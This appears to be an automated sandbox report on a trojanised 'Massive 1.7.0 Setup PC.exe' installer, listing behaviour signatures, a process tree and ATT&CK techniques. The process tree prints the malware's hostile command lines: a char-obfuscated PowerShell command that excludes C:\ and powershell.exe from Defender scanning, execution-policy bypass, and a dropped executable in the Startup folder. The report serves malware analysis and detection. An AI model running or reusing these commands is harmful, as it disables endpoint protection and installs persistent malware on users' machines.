Analysis
- user interaction
yes - max time kernel
152s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
13/08/2026, 02:49
General
- Target Massive 1.7.0 Setup PC.exe
- Size 208.2MB
- Sample260813-dbhjtsyth1
- SHA256 697b63d4506128631e9a058eb9bd3727783001179c23f328d4791fd0df5f868b
Malware Config
Signatures
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 13 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 22 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies data under HKEY_USERS 10 IoCs
- Modifies registry class 23 IoCs
- Suspicious behavior: EnumeratesProcesses 17 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe"C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe"1⤵
- Loads dropped DLL
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Native Instruments Massive\Native Instruments Massive 1.7\install\E6E86C9\setup.msi" AI_SETUPEXEPATH="C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe" SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1786348820 "2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F94D898C38C41162A8B025D0A91ECF07 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 01D4975670445C8CB76DD5EC4CFDB1882⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 14747519756349B76E3E5B330FFDADAC E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe"C:\Users\Admin\AppData\Local\Temp\Massive 1.7.0 Setup PC.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Installer\MSIBD12.tmp"C:\Windows\Installer\MSIBD12.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\Admin\AppData\Local\Temp\cmd.bat"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\cmd.bat" "3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "tar -xf A.jpg -C $env:public"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xf A.jpg -C C:\Users\Public5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Move-Item -Path 'A.jpg' -Destination $env:public"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Public\A.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -f C:\Users\Public\E.ps15⤵
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c ".([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionPath ([Char]67+[Char]58+[Char]92);.([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionProcess 'powershell.exe'"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
e5a237a.rbs
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
MSIE18D.tmp
__PSScriptPolicyTest_wn0rhfim.4sk.ps1
preE2C9.tmp
New.exe
A.jpg
cmd.bat
setup.msi
A
A.vbs
E.ps1
MSIB9D3.tmp
MSIBD12.tmp
metadata-2
{a1cc1901-10e2-4fda-8f00-73dff1505700}_OnDiskSnapshotProp
memory/1300-138-0x0000000005710000-0x00000000057AC000-memory.dmp
memory/1300-137-0x0000000000B40000-0x0000000000BD4000-memory.dmp
memory/3424-220-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-191-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-156-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-161-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-139-0x0000000000400000-0x0000000000490000-memory.dmp
memory/3424-140-0x0000000005810000-0x00000000058D6000-memory.dmp
memory/3424-211-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-206-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-212-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-178-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-257-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-240-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-272-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-269-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-270-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-264-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-252-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-246-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-242-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-241-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-239-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-236-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-234-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-230-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-228-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-224-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-1965-0x0000000005BF0000-0x0000000005C56000-memory.dmp
memory/3424-218-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-216-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-208-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-202-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-200-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-198-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-196-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-193-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-142-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-188-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-186-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-185-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-182-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-181-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-176-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-172-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-170-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-167-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-164-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-163-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-159-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-141-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-152-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-150-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-262-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-258-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-254-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-250-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-148-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-244-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-147-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-232-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-226-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-222-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-214-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-204-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-144-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-1964-0x00000000059F0000-0x0000000005A3C000-memory.dmp
memory/3424-1963-0x0000000005990000-0x00000000059E6000-memory.dmp
memory/3424-175-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/3424-168-0x0000000005810000-0x00000000058CF000-memory.dmp
memory/4404-120-0x0000022327730000-0x000002232773A000-memory.dmp
memory/4404-118-0x0000022327750000-0x000002232776E000-memory.dmp
memory/4404-119-0x0000022327770000-0x0000022327822000-memory.dmp
memory/4612-99-0x0000020BC2550000-0x0000020BC2572000-memory.dmp